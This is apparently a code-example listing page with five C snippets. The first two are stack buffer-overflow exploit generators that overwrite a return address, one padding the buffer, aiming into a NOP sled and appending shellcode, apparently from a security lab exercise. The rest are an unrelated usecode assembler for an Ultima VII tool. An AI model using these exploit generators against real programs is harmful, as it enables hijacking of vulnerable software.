Пример #1
0
int main(int argc,char *argv[]) {
	long address=0;
	if (argc>1) sscanf(argv[1],"%li",&address);
	
	// Address of target function
	word target=(word)address;
	
	// Hose return address over everything!
	for (int brute=0;brute<(128+8+4+4)/4;brute++)
		emit_word(target); 
	
	// Finish up with newline
	emit('\n');
	
	return 0;
}
Пример #2
0
int main(int argc,char *argv[]) {
	unsigned long address=0;
	if (argc>1) sscanf(argv[1],"%lx",&address);

	// Address of target function
	word target=(word)address;
	fprintf(stderr,"Address: 0x%08x\n",target);
	
	// Pad buffer with 'a':
	while (offset<(128+8+4)) emit(0x61); 
	
	// Overwrite return address on stack:
	word returnHere=target-0xb8+offset+16;  // jump to middle of NOP sled
	fprintf(stderr,"Jump target: 0x%08x\n",returnHere);
	emit_word(returnHere);
	
	// Payload code at end of buffer (protected from later stack manipulation)
	emit_shell();
	
	// Finish up with newline
	emit('\n');
	
	return 0;
}
Пример #3
0
int main(int argc,char *argv[])
{
	int i,opsize=sizeof(opcode_table)/sizeof(opcode_desc),
		pushsize=sizeof(push_table)/sizeof(opcode_desc),
		popsize=sizeof(pop_table)/sizeof(opcode_desc),
		compsize=sizeof(compiler_table)/sizeof(char*);
	int label;
	const char **func_table = bg_intrinsic_table;
	int funsize = bg_intrinsic_size;
	int findex = 1;			// Index in argv of 1st filename.
	unsigned int opcodetype;
	indata=codesize=datasize=0;
	/*	printf("Wody's Usecode Compiler v0.009\nCopyright (c) 1999 Wody "
		"Dragon (a.k.a. Wouter Dijkslag)\n");*/
	if (argc<3)
		{
			printf("syntax: %s [-s] infile outfile\n", argv[0]);
			exit(0);
		}
	// Serpent Isle?
	if (strcmp(argv[1], "-s") == 0)
		{
			findex++;
			func_table = si_intrinsic_table;
			funsize = si_intrinsic_size;
		}

	lindex=0;
	for (pass=0;pass<2;pass++)
		{
			//			printf("Pass %d\n",pass+1);
			if ((fi=fopen(argv[findex],"r"))==NULL)
				{
					printf("Can't open infile for reading\n");
					exit(0);
				}
			if ((fo=fopen(argv[findex + 1],"wb"))==NULL)
				{
					printf("Can't open outfile for writing\n");
					exit(0);
				}
			while (!feof(fi))
				{
					read_token(fi);
					if (strlen(token)>1 && token[strlen(token)-1]==':') {
						token[strlen(token)-1]=0; // remove trailing ':'
						if (pass == 0)
							add_label();
						strcpy(curlabel, token);
					}
					else if (!strcmp(token,".code"))
						{
							indata=0;
							offset=0;
						}
					else if (!strcmp(token,".data"))
						{
							if (extended == 0) {
								emit_word(funcnum);
								emit_word(0);
								emit_word(0);
								codesize = 2;
							} else {
								emit_word(-1);
								emit_word(funcnum);
								emit_dword(0);
								emit_dword(0);
								codesize = 4;
							}

							indata=1;
							offset=0;

						}
					else if (!strcmp(token,".funcnumber"))
						{
							read_token(fi);
							sscanf(token,"%x",&funcnum);
							printf("Function %04X\n", funcnum);
							//							codesize=2;
							extended = 0;
						}
					else if (!strcmp(token,".ext32"))
						{
							extended = 1;
						}
					else if (token[0]=='.')
						{
							indata=0;
							for (i=0;i<compsize;i++)
								if (!strcasecmp(compiler_table[i],token))
									{
										read_token(fi);
										sscanf(token,"%x",&word);
										emit_word(word);
									}
						}
					else if (!strcmp(token,"db"))
						{
							read_token(fi);
							if (token[0]==39)
								for (i=1;i<strlen(token);i++)
									emit_byte(token[i]);
							else
								{
									sscanf(token,"%x",&byte);
									emit_byte(byte);
								}
						}
					else if (!strcasecmp(token,"dw"))
						{
							read_token(fi);
							sscanf(token,"%x",&word);
							emit_word(word);
						}
					else
						for (i=0;i<opsize;i++)
							{
								if (!opcode_table[i].mnemonic) continue;
								if (!strcasecmp(opcode_table[i].mnemonic,token))
									{
										if (opcode_table[i].nbytes==0 && opcode_table[i].type==0)
											emit_byte(i);
										else {
											opcodetype = opcode_table[i].type;
											if (i == 0x21) opcodetype = PUSH;
											if (i == 0x12) opcodetype = POP;
											switch (opcodetype)
												{
												case BYTE:
													emit_byte(i);
													read_token(fi);
													sscanf(token,"%x",&word);
													emit_byte(word);
													break;
												case CALL:
													emit_byte(i);
													read_token(fi);
													if ((token2=strchr(token,'@'))!=NULL)
														{
															token2++;
															read_token(fi);
															sscanf(token, "(%x)", &word);
															emit_word(word);
															sscanf(token2,"%d",&word);
														}
													else
														{
															sscanf(token,"%x",&word);
															emit_word(word);
															read_token(fi);
															sscanf(token,"%d",&word);
														}
													emit_byte(word);
													break;
												case DATA_STRING:
													emit_byte(i);
													read_token(fi);
													label = get_label();
													check_data_label_16(label);
													emit_word(label);
													break;
												case DATA_STRING32:
													emit_byte(i);
													read_token(fi);
													emit_dword(get_label());
													break;
												case EXTCALL:
												case VARREF:
													emit_byte(i);
													read_token(fi);
													sscanf(token,"[%x]",&word);
													emit_word(word);
													break;
												case FLGREF:
													emit_byte(i);
													read_token(fi);
													sscanf(token,"flag:[%x]",&word);
													emit_word(word);
													break;
												case PUSH:
													read_token(fi);
													for (i=0;i<pushsize;i++)
														{
															if (!strcasecmp(push_table[i].mnemonic,token))
																{
																	emit_byte(push_table[i].type);
																	break;
																}
														}
													if (i==pushsize)
														{
															emit_byte(0x21);
															sscanf(token,"[%x]",&word);
															emit_word(word);
														}
													break;
												case POP:
													read_token(fi);
													for (i=0;i<popsize;i++)
														{
															if (!strcasecmp(pop_table[i].mnemonic,token))
																{
																	emit_byte(pop_table[i].type);
																	break;
																}
														}
													if (i==popsize)
														{
															emit_byte(0x12);
															sscanf(token,"[%x]",&word);
															emit_word(word);
														}
													break;
												case IMMED:
													emit_byte(i);
													read_token(fi);
													sscanf(token,"%x",&word);
													emit_word(word);
													break;
												case IMMED32:
													emit_byte(i);
													read_token(fi);
													sscanf(token,"%x",&word);
													emit_dword(word);
													break;
												case RELATIVE_JUMP:
													emit_byte(i);
													read_token(fi);
													if (pass==1) {
														//														printf("%x, %x, %x\n", get_label(), offset, get_label() - offset-2);
														label = get_label() - offset - 2;
														check_jump_label_16(label);
														emit_word(label);
													} else
														emit_word(-1);
													break;
												case RELATIVE_JUMP32:
													emit_byte(i);
													read_token(fi);
													if (pass==1) {
														//														printf("%x, %x, %x\n", get_label(), offset, get_label() - offset-2);
														emit_dword(get_label()-offset-4);
													} else
														emit_dword(-1);
													break;
												case IMMED_AND_RELATIVE_JUMP:
													emit_byte(i);
													read_token(fi);
													sscanf(token,"%x",&word);
													emit_word(word);
													read_token(fi);
													if (pass==1) {
														label = get_label() - offset - 2;
														check_jump_label_16(label);
														emit_word(label);
													} else
														emit_word(-1);
													break;
												case IMMED_RELJUMP32:
													emit_byte(i);
													read_token(fi);
													sscanf(token,"%x",&word);
													emit_word(word);
													read_token(fi);
													if (pass==1)
														emit_dword(get_label()-offset-4);
													else
														emit_dword(-1);
													break;
												case SLOOP:
#if 0
													emit_byte(0x2E);
													if (pass == 0) {
														sscanf(curlabel, "%x:",&word);
														sprintf(token,"%04X:",word+1);
														printf("adding sloop label %s (curlabel=%s)\n", token, curlabel);
														add_label();
													}
#endif
													emit_byte(0x02);
													read_token(fi);
													sscanf(token,"[%x]",&word);
													emit_word(word);
													read_token(fi);
													sscanf(token,"[%x]",&word);
													emit_word(word);
													read_token(fi);
													sscanf(token,"[%x]",&word);
													emit_word(word);
													read_token(fi);
													sscanf(token,"[%x]",&word);
													emit_word(word);
													read_token(fi);
													sscanf(token,"%x",&word);
													if (pass==1) {
														label = get_label() - offset - 2;
														check_jump_label_16(label);
														emit_word(label);
													} else
														emit_word(-1);
													break;
												case SLOOP32:
#if 0
													emit_byte(0xAE);
													if (pass == 0) {
														sscanf(curlabel, "%x:",&word);
														sprintf(token,"%04X:",word+1);
														printf("adding sloop label %s (curlabel=%s)\n", token, curlabel);
														add_label();
													}
#endif
													emit_byte(0x82);
													read_token(fi);
													sscanf(token,"[%x]",&word);
													emit_word(word);
													read_token(fi);
													sscanf(token,"[%x]",&word);
													emit_word(word);
													read_token(fi);
													sscanf(token,"[%x]",&word);
													emit_word(word);
													read_token(fi);
													sscanf(token,"[%x]",&word);
													emit_word(word);
													read_token(fi);
													sscanf(token,"%x",&word);
													if (pass==1)
														emit_dword(get_label()-offset-2);
													else
														emit_dword(-1);
													break;
												default:
													break;
												}
										}
									}
								
							}
				}

			if (extended == 0) {
				fseek(fo,2,SEEK_SET);
				indata=0;
				i=codesize;

				if (codesize > 65535) {
					printf("Error: code size > 64Kb and not in ext32 mode!\n");
				}
				emit_word(i);

				if (datasize > 65535) {
					printf("Error: data size > 64Kb and not in ext32 mode!\n");
				}

				emit_word(datasize);
			} else {
				fseek(fo,4,SEEK_SET);
				indata=0;
				i=codesize;
				emit_dword(i);
				emit_dword(datasize);
			}
			fclose(fo);
			fclose(fi);
		}
	return 0;
}
Пример #4
0
void emit_long(long w) {
	emit_word(w); // little endian target
	emit_word(w>>32);
}
Пример #5
0
int main(int argc,char *argv[])
{
	int i,opsize=sizeof(opcode_table)/sizeof(opcode_desc),
		pushsize=sizeof(push_table)/sizeof(opcode_desc),
		compsize=sizeof(compiler_table)/sizeof(char*);
	const char **func_table = bg_intrinsic_table;
	int funsize = bg_intrinsic_size;
	int findex = 1;			// Index in argv of 1st filename.
	indata=codesize=datasize=0;
	printf("Wody's Usecode Compiler v0.009\nCopyright (c) 1999 Wody "
		"Dragon (a.k.a. Wouter Dijkslag)\n");
	if (argc<3)
	{
		printf("syntax: %s [-s] infile outfile\n", argv[0]);
		exit(0);
	}
					// Serpent Isle?
	if (strcmp(argv[1], "-s") == 0)
		{
		findex++;
		func_table = si_intrinsic_table;
		funsize = si_intrinsic_size;
		}

 lindex=0;
 for (pass=0;pass<2;pass++)
 {
  printf("Pass %d\n",pass+1);
  if ((fi=fopen(argv[findex],"r"))==NULL)
  {
   printf("Can't open infile for reading\n");
   exit(0);
  }
  if ((fo=fopen(argv[findex + 1],"wb"))==NULL)
  {
   printf("Can't open outfile for writing\n");
   exit(0);
  }
  while (!feof(fi))
  {
   read_token(fi);
   if (pass==0 && token[strlen(token)-1]==':') add_label();
   else
   if (!strcmp(token,".code"))
   {
	indata=0;
	offset=0;
   }
   else
   if (!strcmp(token,".data"))
   {
	indata=1;
	offset=0;
   }
   else
   if (!strcmp(token,".funcnumber"))
   {
	read_token(fi);
	sscanf(token,"%x",&word);
	emit_word(word);
	emit_word(0);
	emit_word(0);
	codesize=2;
   }
   else
   if (token[0]=='.')
   {
	indata=0;
	for (i=0;i<compsize;i++)
		if (!strcasecmp(compiler_table[i],token))
		{
			read_token(fi);
			sscanf(token,"%x",&word);
			emit_word(word);
		}
   }
   else
   if (!strcmp(token,"db"))
   {
	read_token(fi);
	if (token[0]==39)
		for (i=1;i<strlen(token);i++)
			emit_byte(token[i]);
	else
	{
		sscanf(token,"%x",&byte);
		emit_byte(byte);
	}
   }
   else
   if (!strcasecmp(token,"dw"))
   {
	read_token(fi);
	sscanf(token,"%x",&word);
	emit_word(word);
   }
   else
   for (i=0;i<opsize;i++)
   {
    if (!strcasecmp(opcode_table[i].mnemonic,token))
    {
     if (opcode_table[i].nbytes==0 && opcode_table[i].type==0)
       emit_byte(i);
     else
     switch (opcode_table[i].type)
     {
	case BYTE:
		emit_byte(i);
		read_token(fi);
		sscanf(token,"%x",&word);
		emit_byte(word);
		break;
	case CALL:
		emit_byte(i);
		read_token(fi);
		if ((token2=strchr(token,'@'))!=NULL)
		{
			token2++;
			token[strchr(token,'@')-token]=0;
			strcpy(token,token+1);
			for (i=0;i<funsize;i++)
				if (!strcasecmp(token,func_table[i]))
				{
					emit_word(i);
					break;
				}
			if (i==funsize)
			{
				printf("Do not know function '%s'\n",token);
				exit(0);
			}
			sscanf(token2,"%d",&word);
		}
		else
		{
			sscanf(token,"%x",&word);
			emit_word(word);
			read_token(fi);
			sscanf(token,"%d",&word);
		}
		emit_byte(word);
		break;
	case DATA_STRING:
		emit_byte(i);
		read_token(fi);
		emit_word(get_label());
		break;
	case EXTCALL:
	case VARREF:
		emit_byte(i);
		read_token(fi);
		sscanf(token,"[%x]",&word);
		emit_word(word);
		break;
	case FLGREF:
		emit_byte(i);
		read_token(fi);
		sscanf(token,"flag:[%x]",&word);
		emit_word(word);
		break;
	case PUSH:
		read_token(fi);
		for (i=0;i<pushsize;i++)
		{
			if (!strcasecmp(push_table[i].mnemonic,token))
			{
				emit_byte(push_table[i].type);
				break;
			}
		}
		if (i==pushsize)
		{
			emit_byte(0x21);
			sscanf(token,"[%x]",&word);
			emit_word(word);
		}
		break;
	case IMMED:
		emit_byte(i);
		read_token(fi);
		sscanf(token,"%x",&word);
		emit_word(word);
		break;
	case RELATIVE_JUMP:
		emit_byte(i);
		read_token(fi);
		if (pass==1)
			emit_word(get_label()-offset-2);
		else
			emit_word(-1);
		break;
	case IMMED_AND_RELATIVE_JUMP:
		emit_byte(i);
		read_token(fi);
		sscanf(token,"%x",&word);
		emit_word(word);
		read_token(fi);
		if (pass==1)
			emit_word(get_label()-offset-2);
		else
			emit_word(-1);
		break;
	default:
		break;
     }
    }
   }
  }
  fseek(fo,2,SEEK_SET);
  indata=0;
  i=codesize;
  emit_word(i);
  emit_word(datasize);
  fclose(fo);
  fclose(fi);
 }
 return 0;
}